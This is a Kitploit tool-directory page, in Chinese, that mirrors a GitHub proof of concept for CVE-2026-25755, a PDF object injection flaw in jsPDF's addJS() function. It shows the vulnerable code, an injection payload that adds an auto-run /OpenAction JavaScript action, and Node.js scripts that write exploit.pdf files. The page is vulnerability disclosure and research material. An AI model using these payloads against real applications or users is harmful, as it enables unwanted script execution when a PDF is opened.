Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 jsPDF 中的一个严重 PDF 对象注入漏洞,允许攻击者通过 addJS() 函数注入任意 PDF 对象,从而在打开 PDF 时实现 AcroJS 沙箱绕过和自动脚本执行。 | Kitploit
工具/GitHubGitHub/absholi7ly/jspdf-object-injection
漏洞分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 jsPDF 中的一个严重 PDF 对象注入漏洞,允许攻击者通过 addJS() 函数注入任意 PDF 对象,从而在打开 PDF 时实现 AcroJS 沙箱绕过和自动脚本执行。

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25755 jsPDF 沙箱绕过缺陷导致对象注入

概述

在 jsPDF(一种广泛用于客户端应用中生成 PDF 文档的 JavaScript 库)中发现了一个严重的 PDF 对象注入漏洞(CVE-2026-25755)。该漏洞存在于 addJS() 函数中,攻击者可通过不当的输入清理绕过 AcroJS 沙箱限制,注入任意 PDF 对象。


根本原因

jsPDF 中的 addJS() 函数允许开发者在生成的 PDF 文件中嵌入 JavaScript 代码。然而,在 4.2.0 版本之前,该函数未能正确清理包含特殊 PDF 语法字符的用户输入。

易受攻击的代码(4.2.0 之前)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

注入向量

该函数直接将用户输入拼接进 PDF 对象流中,而未对以下字符进行转义:

  • 左括号 (
  • 右括号 )
  • 反斜杠 \

这使得攻击者能够提前关闭 JavaScript 字符串上下文,并注入任意 PDF 对象。

PDF JavaScript 结构

root@kitploit:~
/JS (app.alert('Hello World'))

注入载荷

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

PDF 对象流

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     注入点 - 字符串上下文被转义

注入机制

步骤操作结果
1) 关闭原始 /JS 字符串字符串上下文终止
2>> 关闭当前 PDF 对象对象结构被破坏
3/AA << /Open << ...注入新的动作字典
4添加任意 PDF 对象实现完全对象注入

PoC 代码(Node.js)

创建一个名为 exploit.js 的文件,并在其中写入以下内容

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

载荷

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
运行 node exploit.js

结果:exploit.pdf 文件已在同一文件夹中创建。

下载工具